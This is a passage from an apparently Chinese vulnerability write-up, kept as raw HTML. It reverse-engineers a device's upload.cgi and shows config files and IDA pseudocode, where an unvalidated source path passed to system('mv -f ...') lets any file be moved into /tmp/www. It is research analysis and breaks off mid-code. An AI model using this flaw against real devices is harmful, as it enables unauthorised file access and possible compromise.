!important;word-break: inherit !important;">upload_pass</span> /form-file-upload;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_store</span> /tmp/upload;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_store_access</span> user:rw group:rw all:rw;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_set_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.name <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_file_name</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_set_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.content_type <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_content_type</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_set_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.path <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_tmp_path</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_aggregate_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.md5&#34;</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_file_md5</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_aggregate_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.size&#34;</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_file_size</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_pass_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;^.*$&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_cleanup</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">400</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">404</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">499</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">500</span>-<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">505</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_resumable</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">on</span>;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">去看<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/form-file-upload</code>的后端处理程序，前面说过后端是使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">uwsgi</code>实现的，其服务启动的命令如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># usr/bin/uwsgi-launcher: 5</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">#!/bin/sh /etc/rc.common</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">start</span></span>() {<br/>    uwsgi -m --ini /etc/uwsgi/jsonrpc.ini &amp;<br/>    uwsgi -m --ini /etc/uwsgi/blockpage.ini &amp;<br/>    uwsgi -m --ini /etc/uwsgi/upload.ini &amp;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/form-file-upload</code>对应的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">uwsgi_pass</code>目的地是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">127.0.0.1:9003</code>。对应的是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">uwsgi</code>启动的服务，配置文件的路径是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/uswgi/upload.ini</code>，从该文件的内容中可以看到，对应的后端处理程序是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/www/cgi-bin/upload.cgi</code>。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /etc/uswgi/upload.ini</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">[uwsgi]</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">plugins</span> = cgi<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">workers</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">master</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">uid</span> = www-data<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">gid</span> = www-data<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">socket</span>=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">127.0</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0.1</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">9003</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">buffer-size</span>=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4096</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">cgi</span> = /www/cgi-bin/upload.cgi<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">cgi-allowed-ext</span> = .cgi<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">cgi-allowed-ext</span> = .pl<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">cgi-timeout</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">300</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">ignore-sigpipe</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">true</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">从上面的描述中我们可以知道现在具备的能力是无条件访问<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/www/cgi-bin/upload.cgi</code>的能力，下面逆向<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/www/cgi-bin/upload.cgi</code>，来看是如何实现任意文件移动的。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">upload.cgi</code>拖入到IDA当中，可以看到它先在环境变量中获取数据，然后调用multipart-parser-c库来解析上传的数据包，解析完成后调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">prepare_file</code>来预处理上传的文件。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a1, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> **a2, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> **a3)</span><br/></span>{<br/>  ...<br/>  content_length_ptr = (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>)getenv(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;CONTENT_LENGTH&#34;</span>);<br/>  content_type_ptr = getenv(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;CONTENT_TYPE&#34;</span>);<br/>  request_uri_ptr = getenv(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;REQUEST_URI&#34;</span>);<br/>  http_cookie_ptr = getenv(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;HTTP_COOKIE&#34;</span>);<br/>  ...<br/>  callbacks.on_header_value = read_header_name;<br/>  callbacks.on_part_data = read_header_value;<br/>  json_obj = json_object_new_object();<br/>  ...<br/>  parser = multipart_parser_init(boundary_ptr, &amp;callbacks);<br/>  length = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strlen</span>(content_buf_ptr);<br/>  multipart_parser_execute(parser, content_buf_ptr, length);<br/>  multipart_parser_free(parser);<br/>  jsonutil_get_string(json_obj, &amp;filepath_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;file.path\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  jsonutil_get_string(json_obj, &amp;filename_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;filename\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  jsonutil_get_string(json_obj, &amp;pathparam_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;pathparam\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  jsonutil_get_string(json_obj, &amp;fileparam_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;fileparam\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  jsonutil_get_string(json_obj, &amp;destination_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;destination\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  jsonutil_get_string(json_obj, &amp;option_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;option\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  jsonutil_get_string(json_obj, &amp;cert_name_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;cert_name\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  jsonutil_get_string(json_obj, &amp;cert_type_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;cert_type\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  jsonutil_get_string(json_obj, &amp;password_ptr, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;password\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  ...<br/>  local_fileparam_ptr = StrBufToStr(local_fileparam_buf);<br/>  ret_code = prepare_file(pathparam_ptr, filepath_ptr, local_fileparam_ptr);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">跟进去<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">prepare_file</code>函数，可以看到该函数会进行文件移动操作，参数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">file.path</code>当作源文件路径，根据<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">pathparam</code>的类型设置目的文件夹并与<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">fileparam</code>当做目的文件名进行拼接最终作为目的路径。实现的方式是调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">system</code>，参数是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">&#34;mv -f %s %s/%s&#34;</code>，可以看到目的文件名进行了参数的校验，源文件只判断了文件是否存在，因此这个地方该参数使得我们可以移动任意的文件，当类型我们设置为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Portal</code>的时候，目的文件夹是</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">类型是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Portal</code>的时候，会把目的文件夹设置为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www</code>，因为我们最终可以实现的效果是可以将任意文件移动到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www</code>目录文件夹下。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">prepare_file</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *type, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *src, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *dst)</span><br/></span>{<br/>  ...<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(type, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Firmware&#34;</span>) )<br/>  {<br/>    target_dir = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;/tmp/firmware&#34;</span>;<br/>  }<br/>  ...<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span><br/>  {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(type, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Portal&#34;</span>) )<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>;<br/>    target_dir = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;/tmp/www&#34;</span>;<br/>  }<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !is_file_exist(src) )<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-2</span>;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strlen</span>(src) &gt; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0x80</span> || <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strlen</span>(dst) &gt; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0x80</span> )<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-3</span>;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( match_regex(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: 